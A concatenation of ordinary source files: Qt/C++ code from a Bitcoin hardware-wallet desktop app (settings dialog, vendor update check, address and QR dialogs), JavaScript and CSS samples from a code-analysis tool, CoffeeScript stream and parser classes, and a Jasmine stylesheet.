std::string dataDir = DBB::GetDefaultDBBDataDir();
DBB::CreateDir(dataDir.c_str());
DBB::OpenDebugLog();
DBB::LogPrint("\n\n\n\nStarting DBB App %s - %s\n", DBB_PACKAGE_VERSION, VERSION);
dbbGUI = new DBBDaemonGui(bitcoinURL);
dbbGUI->show();
//set style sheets
app.exec();
stopThread = true;
notified = true;
queueCondVar.notify_one();
usbCheckThread.join();
cmdThread.join();
DBB::closeConnection(); //clean up HID
delete dbbGUI; dbbGUI = NULL;
btc_ecc_stop();
exit(1);
}
<|start_filename|>src/libbtc/src/buffer.h<|end_filename|>
#ifndef __LIBCCOIN_BUFFER_H__
#define __LIBCCOIN_BUFFER_H__
/* Copyright 2012 exMULTI, Inc.
* Distributed under the MIT/X11 software license, see the accompanying
* file COPYING or http://www.opensource.org/licenses/mit-license.php.
*/
#include <btc/btc.h>
#include <stdint.h>
#include <sys/types.h>
struct buffer {
void* p;
size_t len;
};
struct const_buffer {
const void* p;
size_t len;
};
extern btc_bool buffer_equal(const void* a, const void* b);
extern void buffer_free(void* struct_buffer);
extern struct buffer* buffer_copy(const void* data, size_t data_len);
#endif /* __LIBCCOIN_BUFFER_H__ */
<|start_filename|>src/qt/settingsdialog.cpp<|end_filename|>
#include "settingsdialog.h"
#include "ui/ui_settingsdialog.h"
#include <QMessageBox>
SettingsDialog::SettingsDialog(QWidget *parent, DBB::DBBConfigdata* configDataIn, bool deviceLocked) :
QDialog(parent), configData(configDataIn),
ui(new Ui::SettingsDialog)
{
ui->setupUi(this);
connect(this->ui->resetDefaultsButton, SIGNAL(clicked()), this, SLOT(resetDefaults()));
connect(this->ui->saveButton, SIGNAL(clicked()), this, SLOT(close()));
connect(this->ui->cancelButton, SIGNAL(clicked()), this, SLOT(cancel()));
connect(this->ui->setHiddenPasswordButton, SIGNAL(clicked()), this, SLOT(setHiddenPassword()));
connect(this->ui->resetU2Fbutton, SIGNAL(clicked()), this, SLOT(resetU2F()));
connect(this->ui->useDefaultProxy, SIGNAL(stateChanged(int)), this, SLOT(useDefaultProxyToggled(int)));
updateDeviceLocked(deviceLocked);
}
void SettingsDialog::updateDeviceLocked(bool deviceLocked)
{
ui->tabResetPW->setEnabled(!deviceLocked);
ui->setHiddenPasswordButton->setEnabled(!deviceLocked);
}
SettingsDialog::~SettingsDialog()
{
delete ui;
}
void SettingsDialog::resetDefaults()
{
ui->walletServiceURL->setText(QString::fromStdString(configData->getDefaultBWSULR()));
ui->smartVerificationURL->setText(QString::fromStdString(configData->getDefaultComServerURL()));
}
void SettingsDialog::cancel()
{
cancleOnClose = true;
close();
}
void SettingsDialog::showEvent(QShowEvent* event)
{
cancleOnClose = false;
loadSettings();
QWidget::showEvent(event);
}
void SettingsDialog::closeEvent(QCloseEvent *event)
{
if (!cancleOnClose)
storeSettings();
ui->setHiddenPasswordTextField->setText("");
QWidget::closeEvent(event);
}
void SettingsDialog::useDefaultProxyToggled(int newState)
{
updateVisibility();
}
void SettingsDialog::updateVisibility()
{
bool vState = ui->useDefaultProxy->isChecked();
ui->useDBBProxy->setVisible(vState);
ui->lineSpacer->setVisible(vState);
ui->Socks5ProxyLabel->setVisible(vState);
ui->socks5ProxyURL->setVisible(vState);
}
void SettingsDialog::loadSettings()
{
ui->walletServiceURL->setText(QString::fromStdString(configData->getBWSBackendURLInternal()));
ui->smartVerificationURL->setText(QString::fromStdString(configData->getComServerURL()));
ui->socks5ProxyURL->setText(QString::fromStdString(configData->getSocks5ProxyURLInternal()));
ui->useDBBProxy->setChecked(configData->getDBBProxy());
ui->useDefaultProxy->setChecked(configData->getUseDefaultProxy());
updateVisibility();
}
void SettingsDialog::storeSettings()
{
configData->setBWSBackendURL(ui->walletServiceURL->text().toStdString());
configData->setComServerURL(ui->smartVerificationURL->text().toStdString());
configData->setSocks5ProxyURL(ui->socks5ProxyURL->text().toStdString());
configData->setDBBProxy(ui->useDBBProxy->isChecked());
configData->setUseDefaultProxy(ui->useDefaultProxy->isChecked());
configData->write();
emit settingsDidChange();
}
void SettingsDialog::setHiddenPassword()
{
emit settingsShouldChangeHiddenPassword(ui->setHiddenPasswordTextField->text());
ui->setHiddenPasswordTextField->setText("");
close();
}
void SettingsDialog::resetU2F()
{
QMessageBox::StandardButton reply = QMessageBox::question(this, "U2F Reset", tr("Do you really want to erase the current U2F settings?"), QMessageBox::Yes | QMessageBox::No);
if (reply == QMessageBox::No)
return;
emit settingsShouldResetU2F();
close();
}
<|start_filename|>src/qt/update.cpp<|end_filename|>
// Copyright (c) 2015 <NAME>
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "update.h"
#include <curl/curl.h>
#include <dbb_netthread.h>
#include <dbb_util.h>
#include <QDesktopServices>
#include <QDialog>
#include <QMessageBox>
#include <QString>
#include <QUrl>
#include <QWidget>
static size_t WriteCallback(void* contents, size_t size, size_t nmemb, void* userp)
{
((std::string*)userp)->append((char*)contents, size * nmemb);
return size * nmemb;
}
DBBUpdateManager::DBBUpdateManager() : QWidget(), checkingForUpdates(0)
{
connect(this, SIGNAL(checkForUpdateResponseAvailable(const std::string&, long, bool)), this, SLOT(parseCheckUpdateResponse(const std::string&, long, bool)));
ca_file = "";
socks5ProxyURL.clear();
}
DBBUpdateManager::~DBBUpdateManager()
{
disconnect(this, SIGNAL(checkForUpdateResponseAvailable(const std::string&, long, bool)), this, SLOT(parseCheckUpdateResponse(const std::string&, long, bool)));
}
bool DBBUpdateManager::SendRequest(const std::string& method,
const std::string& url,
const std::string& args,
std::string& responseOut,
long& httpcodeOut)
{
CURL* curl;
CURLcode res;
bool success = false;
curl_global_init(CURL_GLOBAL_ALL);
curl = curl_easy_init();
if (curl) {
struct curl_slist* chunk = NULL;
chunk = curl_slist_append(chunk, "Content-Type: text/plain");
res = curl_easy_setopt(curl, CURLOPT_HTTPHEADER, chunk);
curl_easy_setopt(curl, CURLOPT_URL, url.c_str());
if (method == "post")
{
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, args.c_str());
curl_easy_setopt(curl, CURLOPT_POST, 1L);
}
if (method == "delete") {
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, args.c_str());
curl_easy_setopt(curl, CURLOPT_CUSTOMREQUEST, "DELETE");
}
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, WriteCallback);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &responseOut);
curl_easy_setopt(curl, CURLOPT_NOSIGNAL, 1L);
if (socks5ProxyURL.size())
curl_easy_setopt(curl, CURLOPT_PROXY, socks5ProxyURL.c_str());
curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
curl_easy_setopt(curl, CURLOPT_TIMEOUT, 35L);
#if defined(__linux__) || defined(__unix__)
//need to libcurl, load it once, set the CA path at runtime
//we assume only linux needs CA fixing
curl_easy_setopt(curl, CURLOPT_CAINFO, ca_file.c_str());
#endif
#ifdef DBB_ENABLE_NETDEBUG
curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);
#endif
res = curl_easy_perform(curl);
if (res != CURLE_OK) {
DBB::LogPrintDebug("curl_easy_perform() failed "+ ( curl_easy_strerror(res) ? std::string(curl_easy_strerror(res)) : ""), "");
success = false;
} else {
curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &httpcodeOut);
success = true;
}
curl_slist_free_all(chunk);
curl_easy_cleanup(curl);
}
curl_global_cleanup();
DBB::LogPrintDebug("response: "+responseOut, "");
return success;
};
void DBBUpdateManager::checkForUpdateInBackground()
{
checkForUpdate(false);
}
void DBBUpdateManager::checkForUpdate(bool reportAlways)
{
if (checkingForUpdates)
return;
DBBNetThread* thread = DBBNetThread::DetachThread();
thread->currentThread = std::thread([this, thread, reportAlways]() {
std::string response;
long httpStatusCode;
SendRequest("post", "https://digitalbitbox.com/desktop-app/update.json", "{\"version\":\""+std::string(DBB_PACKAGE_VERSION)+"\",\"target\":\"dbb-app\",\"key\":\"<KEY>}", response, httpStatusCode);
emit checkForUpdateResponseAvailable(response, httpStatusCode, reportAlways);
thread->completed();
});
checkingForUpdates = true;
}
void DBBUpdateManager::parseCheckUpdateResponse(const std::string &response, long statuscode, bool reportAlways)
{
checkingForUpdates = false;
UniValue jsonOut;
jsonOut.read(response);
try {
if (jsonOut.isObject())
{
UniValue subtext = find_value(jsonOut, "message");
UniValue url = find_value(jsonOut, "url");
if (subtext.isStr() && url.isStr())
{
if (url.get_str().compare("") == 0) {
if (reportAlways)
QMessageBox::information(this, tr(""), QString::fromStdString(subtext.get_str()), QMessageBox::Ok);
emit updateButtonSetAvailable(false);
return;
}
if (reportAlways) {
QMessageBox::StandardButton reply = QMessageBox::question(this, "", QString::fromStdString(subtext.get_str()), QMessageBox::Yes | QMessageBox::No);
if (reply == QMessageBox::Yes)
{
QString link = QString::fromStdString(url.get_str());
QDesktopServices::openUrl(QUrl(link));
}
emit updateButtonSetAvailable(false);
return;
}
else
emit updateButtonSetAvailable(true);
}
}
if (reportAlways)
QMessageBox::warning(this, tr(""), tr("Error while checking for updates."), QMessageBox::Ok);
} catch (std::exception &e) {
DBB::LogPrint("Error while reading update json\n", "");
}
}
void DBBUpdateManager::setCAFile(const std::string& ca_file_in)
{
ca_file = ca_file_in;
}
void DBBUpdateManager::setSocks5ProxyURL(const std::string& proxyUrl)
{
socks5ProxyURL = proxyUrl;
}
<|start_filename|>src/qt/qrcodescanner.h<|end_filename|>
// Copyright (c) 2016 <NAME>
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#ifndef DBBDAEMON_QT_QRCODESCANNER_H
#define DBBDAEMON_QT_QRCODESCANNER_H
#include <QWidget>
#include <QAbstractVideoSurface>
#include <QList>
#include <QGraphicsScene>
#include <QGraphicsPixmapItem>
#include <QThread>
#include <QMutex>
#include <QWaitCondition>
#include <QCamera>
#include <QVBoxLayout>
#include <QCloseEvent>
extern "C" {
#include "quirc/lib/quirc.h"
}
class QRCodeScannerThread : public QThread
{
Q_OBJECT
private:
QImage *nextImage;
QMutex mutex;
QWaitCondition imagePresent;
signals:
void QRCodeFound(const QString &payload);
public:
QRCodeScannerThread(QObject *parent = NULL) : QThread(parent), nextImage(0)
{}
void run() Q_DECL_OVERRIDE;
void setNextImage(const QImage *aImage);
};
class CameraFrameGrabber : public QAbstractVideoSurface
{
Q_OBJECT
public:
explicit CameraFrameGrabber(QObject *parent = 0, QGraphicsPixmapItem *pmapItemIn = 0);
QList<QVideoFrame::PixelFormat> supportedPixelFormats(QAbstractVideoBuffer::HandleType handleType) const;
bool present(const QVideoFrame &frame);
QRCodeScannerThread *scanThread; //<!weak pointer link
QGraphicsPixmapItem *pixmapItem; //<!weak pointer link
QSizeF imageSize;
private:
struct quirc *qr;
};
class DBBQRCodeScanner : public QWidget
{
Q_OBJECT
public:
// static function to check if the scanning function is available
static bool availability();
explicit DBBQRCodeScanner(QWidget *parent = 0);
~DBBQRCodeScanner();
void setScannerActive(bool state);
void resizeEvent(QResizeEvent * event);
void closeEvent(QCloseEvent *event);
QVBoxLayout *vlayout;
QGraphicsScene *gscene;
QCamera *cam;
QGraphicsView* gview;
CameraFrameGrabber *frameGrabber;
QGraphicsPixmapItem *pixmapItem;
signals:
void QRCodeFound(const QString &payload);
public slots:
void passQRCodePayload(const QString &payload);
};
#endif // DBBDAEMON_QT_QRCODESCANNER_H
<|start_filename|>src/dbb_ca.h<|end_filename|>
// Copyright (c) 2016 <NAME>
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
namespace DBB
{
std::string getCAFile();
}
<|start_filename|>src/qt/getaddressdialog.cpp<|end_filename|>
// Copyright (c) 2015 <NAME> / Shift Devices AG
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "getaddressdialog.h"
#include "ui/ui_getaddressdialog.h"
#include <btc/bip32.h>
#include <btc/ecc_key.h>
#include <btc/base58.h>
#include <qrencode.h>
#include "dbb_util.h"
#define DBB_DEFAULT_KEYPATH "m/44'/0'/0'/0/"
GetAddressDialog::GetAddressDialog(QWidget *parent) :
QDialog(parent),
ui(new Ui::GetAddressDialog), _baseKeypath(DBB_DEFAULT_KEYPATH)
{
ui->setupUi(this);
ui->address->setFrame(false);
//connect buttons to slots
connect(ui->kpDefault, SIGNAL(clicked()), this, SLOT(addressBaseDataChanged()));
connect(ui->kpCustom, SIGNAL(clicked()), this, SLOT(addressBaseDataChanged()));
connect(ui->childIndex, SIGNAL(valueChanged(int)), this, SLOT(addressBaseDataChanged()));
connect(ui->keypath, SIGNAL(editingFinished()), this, SLOT(keypathEditFinished()));
connect(ui->verifyGetAddressesButton, SIGNAL(clicked()), this, SLOT(verifyGetAddressButtonPressed()));
}
void GetAddressDialog::verifyGetAddressButtonPressed()
{
emit verifyGetAddress(getCurrentKeypath());
}
void GetAddressDialog::showEvent(QShowEvent * event)
{
addressBaseDataChanged();
}
void GetAddressDialog::addressBaseDataChanged()
{
QString newKeypath = getCurrentKeypath();
if (newKeypath.compare(lastKeypath) != 0)
{
emit shouldGetXPub(getCurrentKeypath());
setLoading(true);
lastKeypath = newKeypath;
}
}
void GetAddressDialog::keypathEditFinished()
{
if (!ui->keypath->isReadOnly() && ui->kpDefault->isEnabled())
addressBaseDataChanged();
}
void GetAddressDialog::setLoading(bool state)
{
if (state)
{
ui->xpub->setText("");
ui->address->setText("");
}
ui->kpDefault->setDisabled(state);
ui->kpCustom->setDisabled(state);
ui->childIndex->setDisabled(state);
ui->keypath->setReadOnly(true);
if (!state && ui->kpCustom->isChecked())
{
ui->keypath->setReadOnly(false);
ui->childIndex->setDisabled(true);
}
}
void GetAddressDialog::updateAddress(const UniValue &xpub)
{
setLoading(false);
if (!xpub.isObject())
return;
UniValue xpubUV = find_value(xpub, "xpub");
if (xpubUV.isStr())
{
std::string xpub = xpubUV.get_str();
if (DBB::mapArgs.count("-testnet")) {
// the device only returns mainnet xpubs
// convert to testnet
btc_hdnode mainnet_node;
btc_hdnode_deserialize(xpub.c_str(), &btc_chain_main, &mainnet_node);
char outbuf[112];
btc_hdnode_serialize_public(&mainnet_node, &btc_chain_test, outbuf, sizeof(outbuf));
xpub.assign(outbuf);
}
ui->xpub->setText(QString::fromStdString(xpub));
btc_hdnode node;
bool r = btc_hdnode_deserialize(xpub.c_str(), DBB::mapArgs.count("-testnet") ? &btc_chain_test : &btc_chain_main, &node);
char outbuf[112];
btc_hdnode_get_p2pkh_address(&node, DBB::mapArgs.count("-testnet") ? &btc_chain_test : &btc_chain_main, outbuf, sizeof(outbuf));
ui->address->setText(QString::fromUtf8(outbuf));
std::string uri = "bitcoin:";
uri.append(outbuf);
QRcode *code = QRcode_encodeString(uri.c_str(), 0, QR_ECLEVEL_M, QR_MODE_8, 1);
if (code)
{
QImage myImage = QImage(code->width + 8, code->width + 8, QImage::Format_RGB32);
myImage.fill(0xffffff);
unsigned char *p = code->data;
for (int y = 0; y < code->width; y++)
{
for (int x = 0; x < code->width; x++)
{
myImage.setPixel(x + 4, y + 4, ((*p & 1) ? 0x0 : 0xffffff));
p++;
}
}
QRcode_free(code);
QPixmap pixMap = QPixmap::fromImage(myImage).scaled(180, 180);
ui->qrCodeGetAddresses->setPixmap(pixMap);
ui->qrCodeGetAddresses->setText("");
}
}
}
QString GetAddressDialog::getCurrentKeypath()
{
ui->childIndex->setDisabled(false);
if (ui->kpCustom->isChecked())
{
ui->childIndex->setDisabled(true);
ui->keypath->setReadOnly(false);
QString kp = ui->keypath->text();
if (kp == "m")
kp = "m/";
return kp;
}
ui->keypath->setReadOnly(true);
QString basePath;
if (ui->kpDefault->isChecked())
basePath = QString::fromStdString(_baseKeypath);
basePath += ui->childIndex->text();
ui->keypath->setText(basePath);
return basePath;
}
void GetAddressDialog::setBaseKeypath(const std::string& keypath)
{
_baseKeypath = keypath;
if(_baseKeypath.back() != '/')
_baseKeypath += "/0/";
}
GetAddressDialog::~GetAddressDialog()
{
delete ui;
}
| douglasbakkum/dbb-app |
<|start_filename|>samples/react-component/PopoutMenu.css<|end_filename|>
.popout-menu-options {
position: absolute;
display: inline-block;
z-index: 10;
padding-bottom: 16px;
min-width: 192px;
box-shadow: 0 6px 20px 0 rgba(0, 0, 0, 0.20);
background-color: var(--ap-color-ui-white);
}
.popout-menu-options.align-right {
transform: translateX(-100%);
}
.popout-menu {
display: inline;
}
.popout-menu__search {
position: sticky;
top: 0;
padding: 16px;
margin-bottom: 16px;
background: var(--ap-color-ui-white);
box-shadow: 0 6px 10px 0 rgba(0, 0, 0, 0.10);
}
.popout-menu__search-bar {
height: 40px;
border: 1px solid var(--ap-color-ui-grey-light);
padding-left: 10px;
width: 100%;
font-size: 15px;
line-height: 27px;
}
.popout-menu__search-icon {
position: absolute;
right: 24px;
top: 24px;
pointer-events: none;
}
.popout-menu:first-child {
padding-left: 16px;
}
.popout-menu-item {
display: block;
width: 100%;
padding: 12px 16px 12px 26px;
background-color: rgba(0, 0, 0, 0);
border: 0;
color: var(--ap-color-ui-grey-darker);
cursor: pointer;
text-align: left;
font-size: var(--font-size-sm);
letter-spacing: 0.3px;
line-height: 24px;
}
.popout-menu-item.disabled {
color: var(--ap-color-ui-grey-light);
}
.popout-menu-item:first-child {
margin-top: 16px;
}
.popout-menu-item:not(.disabled):hover {
background-color: var(--ap-color-ui-green-lightest);
}
<|start_filename|>.eslintrc.json<|end_filename|>
{
"root": true,
"parser": "@typescript-eslint/parser",
"plugins": ["@typescript-eslint", "prettier"],
"extends": ["standard-with-typescript", "prettier", "prettier/@typescript-eslint", "eslint-config-prettier"],
"parserOptions": {
"project": "./tsconfig.eslint.json",
"ecmaFeatures": {
"modules": true
},
"ecmaVersion": 6,
"sourceType": "module"
},
"rules": {
"@typescript-eslint/strict-boolean-expressions": "off",
"@typescript-eslint/consistent-type-assertions": "warn"
}
}
<|start_filename|>samples/simple-es6-imports/utils/utils.js<|end_filename|>
export const utilA = (someString) => (
someString.split('a')
)
export const utilB = (someString, someNumber) => {
const name = `Cool Name - ${someNumber}, (${utilA(someString)})`
if (someNumber === 0) {
return 1
}
if (someNumber < 0) {
return 'Some other output'
} else if (someNumber > 1) {
if (someNumber === 100) {
return 'Exactly 100'
} else {
return name
}
}
return name
}
<|start_filename|>samples/sweetalert/codehawk.json<|end_filename|>
{
"skipDirectories": ["/samples/sweetalert/docs", "/samples/sweetalert/docs-src", "/samples/sweetalert/typings"]
}
<|start_filename|>samples/simple-es6-imports/simple-es6-imports.js<|end_filename|>
import { EXAMPLE_CONSTANT_2, EXAMPLE_CONSTANT_3 } from './sample-es6-constants'
import { utilA, utilB } from './utils'
const exampleUtilityFunc = (a, b) => {
if (a === EXAMPLE_CONSTANT_2) {
return true
}
if (a === EXAMPLE_CONSTANT_3) {
return utilB(b)
}
return utilA(a)
}
exampleUtilityFunc(EXAMPLE_CONSTANT_2, 'foo') // true
exampleUtilityFunc(EXAMPLE_CONSTANT_3, 'foo') // false
exampleUtilityFunc(undefined, 'foo') // 'foo'
<|start_filename|>samples/simple-class/simple-class.js<|end_filename|>
class MyClass {
constructor() {
this.foo = 1
}
myMethod(foo, bar, baz) {
if (foo === 'EXAMPLE' && foo !== 'OTHER EXAMPLE') {
return 'OUTPUT 1'
}
if (foo === 'ANOTHER EXAMPLE' && bar) {
return 'OUTPUT 2'
}
const mutateItem = (item) => ({
name: item.name,
value: item.value + 3,
other: item.value * baz,
another: UNDEFINED_GLOBAL + ANOTHER_GLOBAL * baz
})
if (baz && baz === bar && foo === baz) {
const result = {
name: '<NAME>',
items: [],
}
baz.map(item => result.items.push(mutateItem(item)))
return result
}
if (baz === 5) {
return baz * 2
}
if (baz === 6) {
return baz * 2
}
if (baz === 7) {
return baz * 2
}
if (baz === 8) {
return baz * 2
}
if (baz === 9) {
return baz * 2
}
if (baz === 10) {
return baz * 2
}
if (baz === 11) {
return baz * 2
}
return 'OUTPUT 4'
}
}
const instance = new MyClass()
instance.myMethod()
<|start_filename|>samples/simple-es6-imports/sample-es6-constants.js<|end_filename|>
// NOTE: Can't use *.js because the test tool (Mocha I think) is auto loading it.
export const EXAMPLE_CONSTANT_1 = 'EXAMPLE_CONSTANT_1'
export const EXAMPLE_CONSTANT_2 = 'EXAMPLE_CONSTANT_2'
export const EXAMPLE_CONSTANT_3 = 'EXAMPLE_CONSTANT_3'
export const EXAMPLE_CONSTANT_4 = 'EXAMPLE_CONSTANT_4'
<|start_filename|>samples/react-component-flow/Button.css<|end_filename|>
/* BUTTON */
.btn {
text-transform: uppercase;
padding: 10px 8px;
margin: 0 8px;
border-radius: 1px;
border: 1px solid rgba(0, 0, 0, 0);
font-weight: var(--ap-font-weight-xxl);
font-size: var(--ap-font-size-xs);
cursor: pointer;
background-color: rgba(0, 0, 0, 0);
transition: filter 0.1s ease-out;
}
.btn[disabled] {
background-color: var(--ap-color-ui-grey-lightest);
color: var(--ap-color-ui-grey-lighter);
cursor: not-allowed;
}
.btn-primary {
min-width: 104px;
background-color: var(--ap-color-ui-green-light);
color: var(--ap-color-ui-white);
}
.btn-primary.btn-disabled {
color: var(--ap-color-ui-white);
background-color: var(--ap-color-ui-grey-light);
}
.btn-primary:not(:disabled):not(.btn-disabled):active,
.btn-primary:not(:disabled):not(.btn-disabled):focus,
{
background-color: var(--ap-color-ui-green-dark);
}
.btn-primary:not(:disabled):not(.btn-disabled):hover {
background-color: var(--ap-color-ui-green-base);
}
.btn-primary-inverted {
background-color: rgba(0, 0, 0, 0);
color: var(--ap-color-ui-green-light);
}
.btn-secondary {
color: var(--ap-color-ui-grey-darker);
}
.btn-secondary.btn-disabled {
color: var(--ap-color-ui-grey-light);
background: none;
}
.btn-secondary:not(:disabled):not(.btn-disabled):active,
.btn-secondary:not(:disabled):not(.btn-disabled):focus,
{
color: var(--ap-color-ui-green-dark);
}
.btn-secondary:not(:disabled):not(.btn-disabled):hover {
color: var(--ap-color-ui-green-light);
}
.btn-link {
padding-top: 0;
padding-bottom: 0;
padding-left: 0;
padding-right: 0;
color: var(--ap-color-ui-green-light);
}
.btn-link[disabled] {
color: #ccc;
background-color: rgba(0, 0, 0, 0);
}
.btn-link:not(:disabled):not(.btn-disabled):hover {
color: var(--ap-color-ui-green-dark);
}
.btn-secondary-inverted {
background-color: rgba(0, 0, 0, 0);
color: var(--ap-color-ui-grey-dark);
}
.btn-danger {
color: var(--ap-color-ui-red-alert);
}
.btn-danger:not(:disabled):not(.btn-disabled):hover {
color: #C34141;
}
.btn-danger-inverted {
background-color: rgba(0, 0, 0, 0);
color: var(--ap-color-ui-red-alert);
}
.btn-disabled-inverted,
.btn-disabled-inverted[disabled] {
background-color: rgba(0, 0, 0, 0);
color: var(--ap-color-ui-grey-lighter);
}
.btn-sm {
font-size: var(--font-size-sm);
}
.btn-xs {
font-size: var(--ap-font-size-xs);
}
| sgb-io/codehawk-cli |
<|start_filename|>source/js/stream.coffee<|end_filename|>
class window.ChromePipe.Stream
constructor: (name) ->
@name = name
@senderClosed = false
@receiverClosed = false
senderClose: ->
throw "Cannot sender-close already sender-closed stream '#{@name}'" if @senderClosed
throw "Cannot close stream not opened for read '#{@name}'" unless @receiveCallback
Utils.log "Stream#<#{@name}> received senderClose"
@senderClosed = true
@onSenderCloseCallback?()
receiverClose: ->
throw "Cannot receiver-close already receiver-closed stream '#{@name}'" if @receiverClosed
throw "Cannot close stream not opened for read '#{@name}'" unless @receiveCallback
Utils.log "Stream#<#{@name}> received receiverClose"
@receiverClosed = true
@onReceiverCloseCallback?()
onSenderClose: (callback) ->
throw "Cannot bind more than one sender-close callback to '#{@name}'" if @onSenderCloseCallback
@onSenderCloseCallback = callback
@onSenderCloseCallback() if @senderClosed
onReceiverClose: (callback) ->
throw "Cannot bind more than one receiver-close callback to '#{@name}'" if @onReceiverCloseCallback
@onReceiverCloseCallback = callback
@onReceiverCloseCallback() if @receiverClosed
onReceiver: (callback) ->
throw "Cannot bind more than one receiver callback to '#{@name}'" if @onReceiverCallback
@onReceiverCallback = callback
@onReceiverCallback() if @receiveCallback
hasReceiver: -> !!@onReceiverCallback
send: (text, readyForMore = ->) ->
throw "Cannot write to sender-closed stream '#{@name}'" if @senderClosed
throw "Cannot write to stream not opened for read '#{@name}'" unless @receiveCallback
throw "Cannot write to receiver-closed stream '#{@name}" if @receiverClosed
Utils.log "Stream#<#{@name}> sent '#{text}'"
@receiveCallback(text, readyForMore)
receive: (callback) ->
throw "Cannot bind more than one receive callback to '#{@name}'" if @receiveCallback
@receiveCallback = callback
@onReceiverCallback?()
receiveAll: (callback) ->
fullData = []
@receive (text, readyForMore) ->
fullData.push text
readyForMore()
@onSenderClose -> callback fullData
<|start_filename|>source/js/command-parser.coffee<|end_filename|>
class window.CommandParser
constructor: (fullCommandLine, env) ->
@fullCommandLine = fullCommandLine
@env = env
@env.helpers ||= @helpers
@errors = []
@individualCommands = []
parse: ->
if @individualCommands.length == 0
for line in @fullCommandLine.split(/\s*\|\s*/)
firstSpace = line.indexOf(" ")
if firstSpace != -1
@individualCommands.push [line.slice(0, firstSpace), line.slice(firstSpace + 1)]
else
@individualCommands.push [line, ""]
@individualCommands
valid: ->
@parse()
for [command, args] in @individualCommands when !@env.bin[command]
@errors.push "Unknown command '#{command}'"
@errors.length == 0
execute: ->
@parse()
stdin = null
for [command, args] in @individualCommands
cmdOpts = @env.bin[command]
run = cmdOpts.run || (stdin, stdout) -> stdout.onReceiver -> stdout.senderClose()
stdout = new ChromePipe.Stream("stdout for #{command}")
run.call(@env.helpers, stdin, stdout, @env, args)
stdin = stdout
stdin
helpers:
argsOrStdin: (args, stdin, callback) ->
if stdin
stdin.receiveAll (rows) -> callback rows
else
callback args
fail: (env, stdout, message) ->
message = message.join(", ") if _.isArray(message)
env.terminal.error message
unless stdout.senderClosed
if stdout.hasReceiver()
stdout.senderClose()
else
stdout.onReceiver -> stdout.senderClose()
"FAIL"
<|start_filename|>spec/jasmine/jasmine.css<|end_filename|>
body { background-color: #eeeeee; padding: 0; margin: 5px; overflow-y: scroll; }
#HTMLReporter { font-size: 11px; font-family: Monaco, "Lucida Console", monospace; line-height: 14px; color: #333333; }
#HTMLReporter a { text-decoration: none; }
#HTMLReporter a:hover { text-decoration: underline; }
#HTMLReporter p, #HTMLReporter h1, #HTMLReporter h2, #HTMLReporter h3, #HTMLReporter h4, #HTMLReporter h5, #HTMLReporter h6 { margin: 0; line-height: 14px; }
#HTMLReporter .banner, #HTMLReporter .symbolSummary, #HTMLReporter .summary, #HTMLReporter .resultMessage, #HTMLReporter .specDetail .description, #HTMLReporter .alert .bar, #HTMLReporter .stackTrace { padding-left: 9px; padding-right: 9px; }
/*#HTMLReporter #jasmine_content { position: fixed; right: 100%; }*/
#HTMLReporter .version { color: #aaaaaa; }
#HTMLReporter .banner { margin-top: 14px; }
#HTMLReporter .duration { color: #aaaaaa; float: right; }
#HTMLReporter .symbolSummary { overflow: hidden; *zoom: 1; margin: 14px 0; }
#HTMLReporter .symbolSummary li { display: block; float: left; height: 7px; width: 14px; margin-bottom: 7px; font-size: 16px; }
#HTMLReporter .symbolSummary li.passed { font-size: 14px; }
#HTMLReporter .symbolSummary li.passed:before { color: #5e7d00; content: "\02022"; }
#HTMLReporter .symbolSummary li.failed { line-height: 9px; }
#HTMLReporter .symbolSummary li.failed:before { color: #b03911; content: "x"; font-weight: bold; margin-left: -1px; }
#HTMLReporter .symbolSummary li.skipped { font-size: 14px; }
#HTMLReporter .symbolSummary li.skipped:before { color: #bababa; content: "\02022"; }
#HTMLReporter .symbolSummary li.pending { line-height: 11px; }
#HTMLReporter .symbolSummary li.pending:before { color: #aaaaaa; content: "-"; }
#HTMLReporter .bar { line-height: 28px; font-size: 14px; display: block; color: #eee; }
#HTMLReporter .runningAlert { background-color: #666666; }
#HTMLReporter .skippedAlert { background-color: #aaaaaa; }
#HTMLReporter .skippedAlert:first-child { background-color: #333333; }
#HTMLReporter .skippedAlert:hover { text-decoration: none; color: white; text-decoration: underline; }
#HTMLReporter .passingAlert { background-color: #a6b779; }
#HTMLReporter .passingAlert:first-child { background-color: #5e7d00; }
#HTMLReporter .failingAlert { background-color: #cf867e; }
#HTMLReporter .failingAlert:first-child { background-color: #b03911; }
#HTMLReporter .results { margin-top: 14px; }
#HTMLReporter #details { display: none; }
#HTMLReporter .resultsMenu, #HTMLReporter .resultsMenu a { background-color: #fff; color: #333333; }
#HTMLReporter.showDetails .summaryMenuItem { font-weight: normal; text-decoration: inherit; }
#HTMLReporter.showDetails .summaryMenuItem:hover { text-decoration: underline; }
#HTMLReporter.showDetails .detailsMenuItem { font-weight: bold; text-decoration: underline; }
#HTMLReporter.showDetails .summary { display: none; }
#HTMLReporter.showDetails #details { display: block; }
#HTMLReporter .summaryMenuItem { font-weight: bold; text-decoration: underline; }
#HTMLReporter .summary { margin-top: 14px; }
#HTMLReporter .summary .suite .suite, #HTMLReporter .summary .specSummary { margin-left: 14px; }
#HTMLReporter .summary .specSummary.passed a { color: #5e7d00; }
#HTMLReporter .summary .specSummary.failed a { color: #b03911; }
#HTMLReporter .description + .suite { margin-top: 0; }
#HTMLReporter .suite { margin-top: 14px; }
#HTMLReporter .suite a { color: #333333; }
#HTMLReporter #details .specDetail { margin-bottom: 28px; }
#HTMLReporter #details .specDetail .description { display: block; color: white; background-color: #b03911; }
#HTMLReporter .resultMessage { padding-top: 14px; color: #333333; }
#HTMLReporter .resultMessage span.result { display: block; }
#HTMLReporter .stackTrace { margin: 5px 0 0 0; max-height: 224px; overflow: auto; line-height: 18px; color: #666666; border: 1px solid #ddd; background: white; white-space: pre; }
